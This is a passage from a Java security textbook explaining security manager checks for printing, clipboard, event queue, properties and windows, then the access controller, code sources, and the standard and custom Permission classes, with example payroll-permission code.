user.language property can be read

Class Definition

checkPropertyAccess()

Class Definition

Font.getFont()

Can't get a font unless its property can be read

Class Definition

checkTopLevelWindow()

Class Definition

Window()

Windows created by untrusted classes should have an indentifying
banner

[5]The Toolkit class is abstract and hence may vary by implementation; it's assumed that the implementation on a particular platform will call the correct method of the security manager.

public void checkPrintJobAccess()

Untrusted classes are not allowed
access to the user's printer. This is another example of a
nuisance protection; you wouldn't want a rogue applet sending
reams of nonsense data to your printer. This method is never actually
called by the standard Java API--it's up to the
platform-specific implementation of the AWT toolkit to call it.

Note that this doesn't prevent the user from initiating a print
action from the browser--it only prevents an applet from
initiating the print action. The utility of such a check is subtle:
the user always has to confirm the print dialog box before anything
is actually printed (at least with the popular implementations of the
AWT toolkit). The only sort of scenario that this check prevents is
this: the user could surf to www.EvilSite.org
and then to www.sun.com; although the applets
from EvilSite are no longer on the current page,
they're still active, and one of them could pop up the print
dialog. The user will associate the dialog with the
www.sun.com page and presumably allow it to
print--and when the EvilSite applet then prints out offensive
material, the user will blame the Sun page.

public void checkSystemClipboardAccess()

The
Java virtual machine contains a system clipboard that can be used as
a holder for copy-and-paste operations. Granting access to the
clipboard to an untrusted class runs the risk that a class will come
along, examine the clipboard, and find contents a previous program
left there. Such contents might be sensitive data that the new class
should not be allowed to read; hence, untrusted classes are prevented
from accessing the system clipboard. This restriction applies only to
the system clipboard: an untrusted class can still create its own
clipboard and perform its own copy-and-paste operations to that
clipboard. Untrusted classes can also share non-system clipboards
between them.

This method is also never actually called by the Java API; it's
up to the platform-specific implementation of the AWT toolkit to call
it.

public void
checkAwtEventQueueAccess()

Similarly, the Java virtual machine contains a system event queue
that holds all pending AWT events for the system. An untrusted class
that had access to such a queue would be able to delete events from
the queue or insert events into the queue. This protects against the
same sort of scenario we saw for printing--an applet on a
previously visited page could insert events into the queue which
would then be fed to an applet on the existing page.

Since this means that an untrusted class cannot get the system event
queue, it is unable to call any of the methods of the
EventQueue class--specifically the
postEvent() and peekEvent()
methods. Note, however, that an applet may still post events to
itself using the dispatchEvent() method of the
Component class.

public void
checkPropertiesAccess()

public void
checkPropertyAccess(String key)

The Java virtual machine has a set of
global (system) properties that contains information about the user
and the user's machine: login name, home directory, etc.
Untrusted classes are generally denied access to some of this
information in an attempt to limit the amount of spying that an
applet can do. As usual, these methods only prevent access to the
system properties; an untrusted class is free to set up its own
properties and to share those properties with other classes if it
desires.

Note that security managers are typically written to allow access to
some system properties based on the name of the property.

public boolean
checkTopLevelWindow(Object window)

Java classes, regardless of whether they are trusted or untrusted,
are normally allowed to create top-level windows on the user's
desktop. However, there is a concern that an untrusted class might
bring up a window that looks exactly like another application on the
user's desktop and thus confuse the user into doing something
that ought not be done. For example, an applet could bring up a
window that looks just like a telnet session and grab the
user's password when the user responds to the password prompt.
For that reason, top-level windows that are created by untrusted
classes have some sort of identifying banner on them.

Note that unlike other methods in the security manager, this method
has three outcomes: if it returns true, the
window will be created normally; if it returns
false, the window will be created with the
identifying banner. However, this method could also throw a security
exception (just like all the other methods of the security manager
class) to indicate that the window should not be created at all.
However, all the popular security manager implementations allow an
untrusted class to bring up a window, subject to the identifying
banner.

4.3.7. Methods Protecting Security Aspects

There are a number of methods
in the security manager that protect Java's idea of security
itself. These methods are summarized in Table 4-6.

Table 4-6. Security Manager Methods Protecting Java Security

Method

Called by

Rationale

Class Definition

checkMemberAccess()

Class Definition

Class.getFields()
Class.getMethods()
Class.getConstructors()
Class.getField()
Class.getMethod()
Class.getConstructor()
Class.getDeclaredClasses()
Class.getDeclaredFields()
Class.getDeclaredMethods()
Class.getDeclaredConstructors()
Class.getDeclaredField()
Class.getDeclaredMethod()
Class.getDeclardConstructor()

Untrusted classes can only inspect public information about other
classes

Class Definition

checkPackageAccess()

Class Definition

not called

Check if the untrusted class can access classes in a particular
package

Class Definition

checkPackageDefinition()

Class Definition

not called

Check if the untrusted class can load classes in a particular package

Class Definition

checkSecurityAccess()

Class Definition

Identity.setPublicKey()
Identity.setInfo()
Identity.addCertificate()
Identity.removeCertificate()
IdentityScope.setSystemScope()
Provider.clear()[6]
Provider.put()
Provider.remove()
Security.insertProviderAt()
Security.removeProvider()
Security.setProperty()
Signer.getPrivateKey()
Signer.setKeyPair()
Identity.toString()[7]
Security.getProviders()
Security.getProvider()
Security.getProperty()

Untrusted classes cannot manipulate security features

[6]The provider methods only call the security manager in 1.2.

[7]The last four methods in this list no longer call the security manager in 1.2.

public void checkMemberAccess(Class clazz, int which)

In Chapter 2, "Java Language Security", we
examined the importance of the access modifiers to the integrity of
Java's security model. Java's reflection API allows
programs to inspect classes to determine the class's methods,
variables, and constructors. The ability to access these entities can
impact the memory integrity that Java provides.

The reflection API is powerful enough that, by inspection, a program
can determine the private instance variables and methods of a class
(although it can't actually access those variables or call
those methods). Untrusted classes are allowed to inspect a class and
find out only about its public variables and methods.

public void checkSecurityAccess(String action)

In the last half of this book, we'll be examining the details
of the Java security package. This package implements a higher-order
notion of security, including digital signatures, message digests,
public and private keys, etc. The security package depends on this
method in the security manager to arbitrate which classes can perform
certain security-related operations. As an example, before a class is
allowed to read a private key, this method is called with a string
indicating that a private key is being read.

Predictably, an untrusted class is not allowed to perform any of
these security-related operations, while a trusted class
is.[8] Although the
string argument gives the ability to distinguish what operation is
being attempted, that argument is typically ignored in present
implementations. As we discuss the features of the security package
itself, we'll examine more in depth how the security package
uses this method.

[8]This is not quite true: most browsers (including
Netscape Communicator 4.0 and Internet Explorer 4.0) do not implement
the Java security package at all. For classes loaded over the
network, the effect is the same: you cannot use the methods of the
security package. In these browsers, a trusted class in the
browser's CLASSPATH, however, is also
unable to use the security package.

public void checkPackageAccess(String pkg)

public void checkPackageDefinition(String pkg)

These methods are used in conjunction with
a class loader. When a class loader is asked to load a class with a
particular package name, it will first ask the security manager if it
is allowed to do so by calling the
checkPackageAccess() method. This allows the
security manager to make sure that the untrusted class is not trying
to use application-specific classes that it shouldn't know
about.

Similarly, when a class loader actually creates a class in a
particular package, it asks the security manager if it is allowed to
do so by calling the checkPackageDefinition()
method. This allows the security manager to prevent an untrusted
class from loading a class from the network and placing it into, for
example, the java.lang package.

Note the distinction between these two methods: in the case of the
checkPackageAccess() method, the question is
whether the class loader can reference the class at all--e.g.,
whether we can call a class in the sun package.
In the checkPackageDefinition() method, the
class bytes have been loaded, and the security manager is being asked
if they can belong to a particular package.

By default, these methods are never called. If you write a class
loader, you should make sure that you call these methods as we
indicated in Chapter 3, "Java Class Loaders".

That's all the methods of the security manager class that are
used by the Java API to perform checks on certain operations. There
are two more public methods of the
SecurityManager class that we have not examined
in this section; even though those methods are public, they are
generally only used when you implement your own security manager, so
we will defer their discussion. Remember that the discussion we
followed in this chapter about the behavior of the system is based on
a default set of behaviors exhibited by popular Java-enabled
browsers--but since each browser is free to implement its own
security policies, your particular browser may have a variation of
the features we've just discussed.

Previous | Home | Next
4.2. Trusted and Untrusted Classes | Book Index | 4.4. Summary

  Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

4.4. Summary

In this chapter, we've had an overview of the most commonly known feature of Java's security story: the security manager. The security manager is responsible for arbitrating access to what we normally consider operating system features--files, network sockets, printers, etc. The goal of the security manager is to grant access to each class according to the amount of trust the user has in the class. Often, that means granting full access to trusted classes (that is, classes that have been loaded from the filesystem) while limiting access when the access is requested from an untrusted class (that is, a class that has been loaded from the network).

Although the security manager is the most commonly known feature of Java's security story, it's often misunderstood: there is no standard security manager among Java implementations, and Java applications, by default, have no security manager at all. Even with the popular Java-enabled browsers, the user often has latitude in what protections the security manager will be asked to enforce.

We examined in this chapter all the times when the security manager is asked to make a decision regarding access; such decisions range from the expected file and network access to more esoteric decisions, such as whether a frame needs a warning banner or what thread group a particular thread should belong to. This gave us a basic understanding of how the security manager can be used to enforce a specific policy, and the issues involved when defining such a policy. This knowledge will be used as a basis in the next few chapters, when we'll look at how to implement our own security manager.

Previous | Home | Next
4.3. Using the Security Manager | Book Index | 5. The Access Controller
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Access Controller (Java Security)

 Java Security Search this book

Chapter 5. The Access Controller

Contents:

The CodeSource Class
Permissions
The Policy Class
Protection Domains
The AccessController Class
Guarded Objects
Summary

In this chapter, we're going to examine Java's access controller. While the security manager is the key to the security model of the Java sandbox, the access controller is the mechanism that the security manager actually uses to enforce its protections. The security manager may be king, but the access controller is really the power behind the throne.

The access controller is actually somewhat redundant. The purpose of the security manager is to determine whether or not particular operations should be permitted or denied. The purpose of the access controller is really the same: it decides whether access to a critical system resource should be permitted or denied. Hence, the access controller can do everything the security manager can do.

The reason there is both an access controller and a security manager is mainly historical: the access controller is only available in Java 1.2[1] and subsequent releases. Before the access controller existed, the security manager had to rely on its internal logic to determine the security policy that should be in effect, and changing the security policy required changing the security manager itself. Starting with 1.2, the security manager is able to defer these decisions to the access controller. Since the security policy enforced by the access controller can be specified in a file, this allows a much more flexible mechanism for determining policies. The access controller also gives us a much simpler method of granting fine-grained, specific permissions to specific classes. That process was theoretically possibly with the security manager alone, but it was simply too hard to implement.

[1]1.2 is now Java 2.

But the large body of pre-1.2 Java programs dictates that the primary interface to system security--that is, the security manager--cannot change; otherwise, existing code that implements or depends on the security manager would become obsolete. Hence, the introduction of the access controller did not replace the security manager--it supplemented the security manager. This relationship is illustrated in Figure 5-1. Typically, an operation proceeds through the program code into the Java API, through the security manager to the access controller, and finally into the operating system. In certain cases, however, the security manager may bypass the access controller. And native libraries are still outside the domain of either the security manager or the access controller (although the ability to load those libraries may be restricted, as we've seen).

Figure 5-1. Coordination of the security manager and the access controller

The access controller plays another role in this picture as well: it allows a program to determine that access to any arbitrary resource must require explicit permission. A program that accesses employee payroll information from a corporate database may want to assign permission to each employee to access only his or her own data in the database. While global access to the database may be controlled by the security manager (e.g., because it's necessary to open a file or socket to get to the database), access to the particular record can be controlled by the access controller alone. Because the access controller (unlike the security manager) is easily extensible, it is simple for a program to use the same security framework to access both the general resources of the operating system and any specific resources of the program.

Keep in mind, however, that the core Java API never calls the access controller unless a security manager is in place, and that the access controller will not be initialized until it is called. If you call it directly for a program-specific resource, it will initialize itself automatically. But by default, Java applications run without a security manager will not use the access controller. We'll discuss later in this chapter and in Chapter 6, "Implementing Security Policies" the use of the -Djava.security.manager flag to install a security manager into the application, which will initialize the access controller for us.

In this chapter, then, we'll look into the access controller, including its implementation and its use. This will give us the necessary knowledge of how the access controller works, how it can be used to change the security of a Java program without requiring code changes, and how it is used to implement the security manager. This last point will also give us the necessary information to write our own security manager. In Java 1.2, there are only rare cases where such a task is necessary.

The access controller is built upon four concepts:

  • Code sources: An encapsulation of the location from which certain Java classes were obtained

  • Permissions: An encapsulation of a request to perform a particular operation

  • Policies: An encapsulation of all the specific permissions that should be granted to specific code sources

  • Protectiondomains: An encapsulation of a particular code source and the permissions granted to that code source

Before we examine the access controller itself, we'll look each of these building blocks.

5.1. The CodeSource Class

When we examined class loaders, we introduced the notion of a code source. A code source is a simple object that merely reflects the URL from which a class was loaded and the keys (if any) that were used to sign that class. The SecureClassLoader class (and its subclasses) are responsible for creating and manipulating these code source objects.

The CodeSource class (java.security.CodeSource) has a few interesting methods:

public CodeSource(URL url, Certificate cers[]) figure

Create a code source object for code that has been loaded from the specified URL. The optional array of certificates is the array of public keys that have signed the code that was loaded from this URL. These certificates are typically obtained from reading a signed JAR file, which we'll show in Chapter 12, "Digital Signatures"; if the code was not signed, this argument should be null.

public boolean equals(Object o) figure

Two code source objects are considered equal if they were loaded from the same URL (that is, the equals() method for the URL of the objects returns true) and the array of certificates is equal (that is, a comparison of each certificate in the array of certificates will return true).

public final URL getLocation() figure

Return the URL that was passed to the constructor of this object.

public final Certificate[] getCertificates () figure

Return a copy of the array of certificates that were used to construct this code source object. The original certificates are not returned so that they cannot be modified accidentally (or maliciously).

public boolean implies(CodeSource cs) figure

Determine if the code source implies the parameter according to the rules of the Permission class (see later in this chapter). One code source implies another if it contains all the certificates of the parameter and if the URL of the parameter is implied by the URL of the target.

That's the extent of the CodeSource class. When we discussed the SecureClassLoader class in Chapter 3, "Java Class Loaders", we showed that the defineClass() method expected a CodeSource object as a parameter. It's up to the implementor of the SecureClassLoader to provide this object. In the URLClassLoader class, this happens automatically, based on the URL where the class was actually located. By default, each URL in the URLClassLoader class will have its own distinct code source object, so all classes that are loaded from that URL are considered to have the same code source. This does not have to be the case (though it's much simpler); you could have a different code source for each class, or even different code sources for sets of classes from the same URL (although we question the wisdom of doing that).

In Chapter 3, "Java Class Loaders", we didn't bother to create code sources, which meant that our classes were assigned to a default code source. For the time being, we'll create code sources in an URL-based class loader simply based on the URL we used to construct the class loader; these classes will all be unsigned classes as a result. In Chapter 12, we'll show how you can get the correct certificates with which to construct a code source object for a signed class.

Previous | Home | Next
4.4. Summary | Book Index | 5.2. Permissions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Permissions (Java Security)

 Java Security Search this book

5.2. Permissions

The basic entity that the access controller operates on is a permission object--an instance of the Permission class (java.security.Permission). The Permission class itself is an abstract class that represents a particular operation. The nomenclature here is a little misleading, because a permission object can reflect two things. When it is associated with a class (through a code source and a protection domain), a permission object represents an actual permission that has been granted to that class. Otherwise, a permission object allows us to ask if we have a specific permission.

For example, if we construct a permission object that represents access to a file, possession of that object does not mean that we have permission to access the file. Rather, possession of the object allows us to ask if we have permission to access the file.

An instance of the Permission class represents one specific permission. A set of permissions--e.g., all the permissions that are given to classes signed by a particular individual--is represented by an instance of the Permissions class (java.security.Permissions). As developers and administrators, we'll make extensive use of these classes, so we'll need to investigate them in depth.

5.2.1. The Permission Class

Permissions have three properties:

A type

All permissions carry a basic type that identifies what the permission pertains to. A permission object to access a file will have a type of FilePermission; an object to create a window will have a type of AWTPermission; permission to use the XYZ company payroll application would have a type of XYZPayrollPermission.

A name

All permissions have a name that identifies the specific object that a permission relates to. A FilePermission has a name that is the name of the file to be accessed; an AWTPermission to create a window has a name of showWindowWithoutWarningBanner; permission to access a particular employee's payroll record would have the name of that employee. Names are often based on wildcards, so that a single file permission object may represent permission to access several files, and so on.

The name of a permission is fairly arbitrary. In the case of file permissions, the name is obviously the file. But the name of the showWindowWithoutWarningBanner permission (among many others) is chosen by convention, and it is up to all Java programs to adhere to that convention. This is only a concern to programmers when dealing with your own permission classes; as a developer you rarely need to create permission objects for the types of permissions defined in the Java API.

On the other hand, this naming convention is of concern to end users and administrators, who must know the name of the permission they want to grant to the programs they are going to run. These names must go into the policy file (which we'll discuss in just a bit).

Actions

Some permissions carry with them one or more actions. The presence of these actions is dependent upon the semantics of the specific type of permission. A file permission object has a list of actions that could include read, write, and delete; an XYZ payroll permission object could have a list of actions that includes view and update. On the other hand, a window permission does not have an action: you either have permission to create the window, or you don't. Actions can also be specified by wildcards.The terms used to specify a list of actions are also arbitrary and handled by convention.

Permissions can serve two roles. They allow the Java API to negotiate access to several resources (files, sockets, and so on). Those permissions are defined by convention within the Java API, and their naming conventions are wholly within the domain of the Java API itself. Hence, you can create an object that represents permission to read a particular file, but you cannot create an object that represents permission to copy a particular file, since the copy action is not known within the file permission class.

On the other hand, you can create arbitrary permissions for use within your own programs and completely define both the names of those permissions as well as the actions (if any) that should apply. If you are writing a payroll program, for example, you could create your own permission class that uses the convention that the name of the permission is the employee upon whose payroll information you want to act; you could use the convention that the permissible actions on the payroll permission are view and update. Then you can use that permission in conjunction with the access controller to allow employees to view their own payroll data and to allow managers to change the payroll data for their employees.

We'll look at both of these cases, starting with the classes that are provided within the Java API itself. These classes are used by the Java API (and in particular, by the security manager) to protect access to certain resources in ways that are fairly intuitive, given our knowledge of the security manager (but we'll examine that interaction in detail later).

5.2.2. Permissions of the Java API

There are 11 standard permissions in the Java API, each of which is implemented as a class:

  1. The FilePermission class (java.io.FilePermission)

    This class represents permissions for files. This class implements two wildcard patterns for filenames: an asterisk matches all files in a given directory, and a hyphen matches all files that reside in an entire directory hierarchy. Valid actions for file permissions are read, write, delete, and execute.

    File permissions must be constructed with their platform-specific name. Hence, /myclasses/xyz is a valid name for a file permission on a Unix system, but not on a Macintosh (where an equivalent name might be System Disk:myclasses:xyz). When these strings are specified programmatically, they are not too difficult to construct (using the file separator property); when these strings need to be specified in an external file, an appropriate syntax must be used.

    Keep in mind the difference between an asterisk and a hyphen: an asterisk only traverses a single directory, while a hyphen traverses an entire filesystem. Hence /myclasses/* will not include /myclasses/xyz/HRApplet.class, but /my-classes/- will. A single asterisk will access all files in the current directory, and a single hyphen will access all files in the current directory and its subdirectories.

    If you want to access all files on a particular machine, you specify the special token <<ALL FILES>>.

    A FilePermission object is constructed by providing the name of the file and a list of actions on that file:

    Class Definition

    FilePermission p1 = new FilePermission("-", "execute");
FilePermission p2 = new FilePermission("/myclasses/*", "read, write");
FilePermission p3 = new FilePermission("<<ALL FILES>>", "read");

    Here, p1 represents permission to execute all files that are in the filesystem hierarchy under the current directory, p2 represents permission to read and write all files that exist in the directory /myclasses, and p3 represents permission to read all the files on the machine.

  2. The SocketPermission class (java.net.SocketPermission)

    This class represents permissions to interact with network sockets. The name of a socket permission is hostname:port, where each component of the name may be specified by a wildcard. In particular, the hostname may be given as a hostname (possibly DNS qualified) or an IP address. The leftmost position of the hostname may be specified as an asterisk, such that the host piccolo.East.Sun.COM would be matched by each of these strings:

    Class Definition

    piccolo
piccolo.East.Sun.COM
*.Sun.COM
*
129.151.119.8

    The port component of the name can be specified as a single port number or as a range of port numbers (e.g., 1-1024). When a range is specified, either side of the range may be excluded:

    Class Definition

    1024 (port 1024)
1024- (all ports greater than or equal to 1024)
-1024 (all ports less than or equal to 1024)
1-1024 (all ports between 1 and 1024, inclusive)

    Valid actions for a socket permission are accept, connect, listen, and resolve. These map into the socket API: accept is used by the ServerSocket class to see if it can accept an incoming connection from a particular host; connect is used by the Socket class to see if it can make a connection to a particular host, listen is used by the ServerSocket class to see if a server socket can be created at all, and resolve is used by the Socket class to see if the IP address for a particular host can be obtained.

    Constructing a socket permission, then, is simply a matter of putting together the desired strings in the correct format:

    Class Definition

    SocketPermission s1 = new SocketPermission("piccolo:6000", "connect");
SocketPermission s2 = new SocketPermission("piccolo:1024-",
                     "accept, listen");

    Here s1 represents permission to connect to the X server (port 6000) on machine piccolo, and s2 represents permission for piccolo to start a server on any nonprivileged port.

  3. The PropertyPermission class (java.util.PropertyPermission)

    This class represents permissions for Java properties. Property permission names are specified as dot-separated names (just as they are in a Java property file); in addition, the last element can be a wildcard asterisk: *, a.*, a.b.*, and so on.

    The valid actions for this class are read and write. Hence, to construct a property permission, you would do something like:

    Class Definition

    PropertyPermission p1 = new PropertyPermission("java.version", "read");
PropertyPermission p2 = new PropertyPermission("xyz.*", "read,write");

    Here, p1 represents permission to read the version of the virtual machine that's in use, and p2 represents permission to read or write all properties that begin with the token xyz.

  4. The RuntimePermission class (java.lang.RuntimePermission)

    This class represents permissions for the Java runtime--essentially, permissions to perform any of the operations encapsulated by the Runtime class, including most thread operations. The names recognized by this class are dot-separated names and are subject to the same wildcard asterisk matching as the property permission class.

    Runtime permissions have no associated actions--you either have permission to perform those operations, or you don't. Hence, a runtime permission is constructed as:

    Class Definition

    RuntimePermission r1 = new RuntimePermission("exitVM");
RuntimePermission r2 = new
    RuntimePermission("accessClassInPackage.java");

    Here, r1 represents permission to exit the virtual machine, and r2 represents permission to access classes in the java package.

  5. The AWTPermission class (java.awt.AWTPermission)

    This class represents permissions to access certain windowing resources. In particular, as we might assume from the corresponding methods in the security manager, there are three conventional names in this class: showWindowWithoutWarningBanner, accessClipboard, and accessEventQueue.

    There are no actions associated with this class. In addition, this class technically supports wildcard matching, but since none of the conventional names are in dot-separated format, that facility is unused. Hence, an AWT permission is constructed like this:

    Class Definition

    AWTPermission a = new AWTPermission("showWindowWithoutWarningBanner");

  6. The NetPermission class (java.net.NetPermission)

  7. The NetPermission class (java.net.NetPermission)

    This class represents permissions to interact with two different classes. The first is the Authenticator class: there are no concrete implementations of the Authenticator class within the JDK, but implementations of that class provide HTTP authentication for password-protected web pages. The valid names associated with this class are setDefaultAuthenticator and requestPasswordAuthentication. Wildcard asterisk matching applies to these names.

    In addition, this class encapsulates various URL-related permissions. Permission to specify a stream handler in the URL class is named specifyStreamHandler.

    There are no associated actions with a net permission, so they are constructed as follows:

    Class Definition

    NetPermission n1 = new NetPermission("requestPasswordAuthentication");

  8. The SecurityPermission class (java.security.SecurityPermission)

    This class represents permission to use the security package. Names passed to this class are subject to wildcard asterisk matching, and there are no actions associated with this class. The valid names to this class include all the valid strings that can be passed to the checkSecurityAccess() method of the security manager; as we discuss the security API in the last half of this book, we'll list these names for each class.

  9. TheSerializablePermission class (java.io.SerializablePermission)

    This class represents various permissions relating to the serialization and deserialization of an object. No wildcards or actions are accepted by this class. This permission has two valid names: enableSubstitution and enableSubclassImplementation. The first of these permissions allows the enableResolveObject() method of the ObjectInputStream and the enableReplaceObject() method of the ObjectOutputStream classes to function. The latter permission allows the ObjectInputStream and ObjectOutputStream classes to be subclassed, which would potentially override the readObject() and writeObject() methods.

  10. The ReflectPermission class (java.lang.reflect.ReflectPermission)

    This permission represents the ability to set the accessible flag on objects that are to be used with the reflection API. This class has a single name (suppressAccessChecks) and no actions.

  11. The UnresolvedPermission class (java.security.UnresolvedPermission)

    This class is used internally in the Java API to represent external permissions (i.e., permissions that are implemented by third-party APIs) before the class that defines that permission is found. This permission is only needed if you are writing an implementation of the Policy class.

  12. The AllPermission class (java.security.AllPermission)

    This class represents permission to perform any operation--including file, socket, and other operations that have their own permission classes. Granting this type of permission is obviously somewhat dangerous; this permission is usually given only to classes within the Java API and to classes in Java extensions. This class has no name or actions; it is constructed as follows:

    Class Definition

    AllPermission ap = new AllPermission();

5.2.3. Using the Permission Class

We'll now look into the classes upon which all these permissions are based: the Permission class. This class abstracts the notion of a permission and a name. From a programmatic standpoint, the Permission class is really used only to create your own types of permissions. It has some interesting methods, but the operations that are implemented on a permission object are not generally used in code that we write--they are used instead by the access controller. Hence, we'll examine this class primarily with an eye towards understanding how it can be used to implement our own permissions.

Permission is an abstract class that contains these public methods:

public Permission(String name) figure

Construct a permission object that represents the desired permission.

public abstract boolean equals(Object o) figure

Subclasses of the Permission class are required to implement their own test for equality. Often this is simply done by comparing the name (and actions, if applicable) of the permission.

public abstract int hashCode() figure

Subclasses of the Permission class are required to implement their own hash code. In order for the access controller to function correctly, the hash code for a given permission object must never change during execution of the virtual machine. In addition, permissions that compare as equal must return the same hash code from this method.

public final String getName() figure

Return the name that was used to construct this permission.

public abstract String getActions() figure

Return the canonical form of the actions (if any) that were used to construct this permission.

public String toString() figure

The convention for printing a permission is to print in parentheses the class name, the name of the permission, and the actions. For example, a file permission might return:

Class Definition

("java.io.FilePermission","/myclasses/xyz/HRApplet.class","read")
public abstract boolean implies(Permission p) figure

This method is one of the keys of the Permission class: it is responsible for determining whether or not a class that is granted one permission is granted another. This method is normally responsible for performing wildcard matching, so that, for example, the file permission /myclasses/- implies the file permission /myclasses/xyz/HRApplet.class. But this method need not rely on wildcards; permission to write a particular object in a database would probably imply permission to read that object as well.

public PermissionCollection newPermissionCollection() figure

Return a permission collection suitable for holding instances of this type of permission. We'll discuss the topic of permission collections in the next section. This method returns null by default.

public void checkGuard(Object o) figure

Call the security manager to see if the permission (i.e., the this variable) has been granted, generating a SecurityException if the permission has not been granted. The object parameter of this method is unused. We'll give more details about this method later in this chapter.

Implementing your own permission means providing a class with concrete implementations of these abstract methods. Note that the notions of wildcard matching and actions are not generally present in this class--if you want your class to support either of these features, you're responsible for implementing all of the necessary logic to do so (although the BasicPermission class that we'll look at next can help us with that).

Say that you are implementing a program to administer payroll information. You'll want to create permissions to allow users to view their payment history. You'll also want to allow the HR department to update the pay rate for employees. So we'll need to implement a permission class to encapsulate all of that:

Class Definition

public class XYZPayrollPermission extends Permission {

    protected int mask;
    static private int VIEW = 0x01;
    static private int UPDATE = 0x02;

    public XYZPayrollPermission(String name) {
        this(name, "view");
    }

    public XYZPayrollPermission(String name, String action) {
        super(name);
        parse(action);
    }

    private void parse(String action) {
        StringTokenizer st = new StringTokenizer(action, ",\t ");

        mask = 0;
        while (st.hasMoreTokens()) {
            String tok = st.nextToken();
            if (tok.equals("view"))
                mask |= VIEW;
            else if (tok.equals("update"))
                mask |= UPDATE;
            else throw new IllegalArgumentException(
                                    "Unknown action " + tok);
        }
    }

    public boolean implies(Permission permission) {
        if (!(permission instanceof XYZPayrollPermission))
            return false;

        XYZPayrollPermission p = (XYZPayrollPermission) permission;
        String name = getName();
        if (!name.equals("*") && !name.equals(p.getName()))
            return false;
        if ((mask & p.mask) != p.mask)
            return false;
        return true;
    }

    public boolean equals(Object o) {
        if (!(o instanceof XYZPayrollPermission))
            return false;

        XYZPayrollPermission p = (XYZPayrollPermission) o;
        return ((p.getName().equals(getName())) && (p.mask == mask));
    }

    public int hashCode() {
        return getName().hashCode() ^ mask;
    }

    public String getActions() {
        if (mask == 0)
            return "";
        else if (mask == VIEW)
            return "view";
        else if (mask == UPDATE)
            return "update";
        else if (mask == (VIEW | UPDATE))
            return "view, update";
        else throw new IllegalArgumentException("Unknown mask");
    }

    public PermissionCollection newPermissionsCollection() {
        return new XYZPayrollPermissionCollection();
    }
}

The instance variables in this class are required to hold the information about the actions--even though our superclass makes references to actions, it doesn't provide a manner in which to store them or process them, so we have to provide that logic. That logic is provided in the parse() method; we've chosen the common convention of having the action string treated as a list of actions that are separated by commas and whitespace. Note also that we've stored the actual actions as bits in a single integer--this simplifies some of the later logic.

As required, we've implemented the equals() and hashCode() methods--and we've done so rather simply. We consider objects equal if their names are equal and their masks (that is, their actions) are equal, and construct a hash code accordingly.

Our implementation of the getActions() method is typical: we're required to return the same action string for a permission object that was constructed with an action list of "view, update" as for one that was constructed with an action list of "update,view". This requirement is one of the prime reasons why the actions are stored as a mask--because it allows us to construct this action string in the proper format.

Finally, the implies() method is responsible for determining how wildcard and other implied permissions are handled. If the name passed to construct our object is an asterisk, then we match any other name; hence, an object to represent the permissions of the HR department might be constructed as:

Class Definition

new XYZPayrollPermission("*", "view, update")

When the implies() method is called on this wildcard object, the name will always match, and because the action mask has the complete list of actions, the mask comparison will always yield the mask that we're testing against. If the implies() method is called with a different object, however, it will only return true if the names are equal and the object's mask is a subset of the target mask.

Note that we also might have implemented the logic in such a way that permission to perform an update implies permission to perform a view simply by changing the logic of testing the mask--you're not limited only to wildcard matching in the implies() method.

5.2.4. The BasicPermission Class

If you need to implement your own permission class, the BasicPermission class (java.security.BasicPermission) provides some useful semantics. This class implements a basic permission--that is, a permission that doesn't have actions. Basic permissions can be thought of as binary permission--you either have them, or you don't. However, this restriction does not prevent you from implementing actions in your subclasses of the BasicPermission class (as the PropertyPermission class does).

The prime benefit of this class is the manner in which it implements wildcards. Names in basic permissions are considered to be hierarchical, following a dot-separated convention. For example, if the XYZ corporation wanted to create a set of basic permissions, they might use the convention that the first word of the permission always be xyz: xyz.readDatabase, xyz.writeDatabase, xyz.runPayrollProgram, xyz.HRDepartment.accessCheck, and so on. These permissions can then be specified by their full name, or they can be specified with an asterisk wildcard: xyz.* would match each of these (no matter what depth), and * would match every possible basic permission.

The wildcard matching of this class does not match partial names: xyz.read* would not match any of the permissions we just listed. Further, the wildcard must be in the rightmost position: *.readDatabase would not match any basic permission.

The BasicPermission class is abstract, although it does not contain any abstract methods, and it completely implements all the abstract methods of the Permission class. Hence, a concrete implementation of the BasicPermission need only contain a constructor to call the correct constructor of the superclass (since there is no default constructor in the BasicPermission class). Subclasses must call one of these constructors:

public BasicPermission(String name) figure

Construct a permission with the given name. This is the usual constructor for this class, as basic permissions do not normally have actions.

public BasicPermission(String name, String action) figure

Construct a permission with the given name and action. Even though basic permissions do not usually have actions associated with them, you must provide a constructor with this signature in all implementations of the BasicPermission class due to the mechanism that is used to construct permission objects from the policy file (which we will see later in this chapter).

5.2.5. Permission Collections

The access controller depends upon the ability to aggregate permissions so that it can easily call the implies() method on all of them. For example, a particular user might be given permission to read several directories: perhaps the user's home directory (/home/sdo/-) and the system's temporary directory (/tmp/-). When the access controller needs to see if the user can access a particular file, it must test both of these permissions to see if either one matches. This can be done easily by aggregating all the file permissions into a single permission collection.

Every permission class is required to implement a permission collection, then, which is a mechanism where objects of the same permission class may be grouped together and operated upon as a single unit. This requirement is enforced by the newPermissionCollection() method of the Permission class.

The PermissionCollection class (java.security.PermissionCollection) is defined as follows:

public abstract class PermissionCollection

Implement an aggregate set of permissions. While permission collections can handle heterogeneous sets of permissions, a permission collection typically should be used to group together a homogeneous group of permissions (e.g., all file permissions or all socket permissions, etc.).

There are three basic operations that you can perform on a permission collection:

public abstract void add(Permission p) figure

Add the given permission to the permission collection.

public abstract boolean implies(Permission p) figure

Check to see if any permission in the collection implies the given permission. This can be done by enumerating all the permission objects that have been added to the collection and calling the implies() method on each of those objects in turn, but it is typically implemented in a more efficient manner.

public abstract Enumeration elements() figure

Return an enumeration of all the permissions in the collection.

The javadoc documentation of this class claims that a permission collection is a collection of heterogeneous permission objects. Forget that idea; introducing that notion into permission collections vastly complicates matters, and the issue of a heterogeneous collection of permission objects is better handled elsewhere (we'll see how a little bit later). As far as we're concerned, the purpose of a permission collection is to aggregate only permission objects of a particular type.

Permission collections are typically implemented as inner classes, or at least as classes that are private to the package in which they are defined. There is, for example, a corresponding permission collection class for the FilePermission class, one for the SocketPermission class, and so on.

None of these collections is available as a public class that we can use in our own program. Hence, in order to support the newPermissionCollection() method in our XYZPayrollPermission class, we'd need to do something like this:

Class Definition

public class XYZPayrollPermissionCollection extends
                                        PermissionCollection {
    private Hashtable permissions;
    private boolean addedAdmin;
    private int adminMask;

    XYZPayrollPermissionCollection() {
        permissions = new Hashtable();
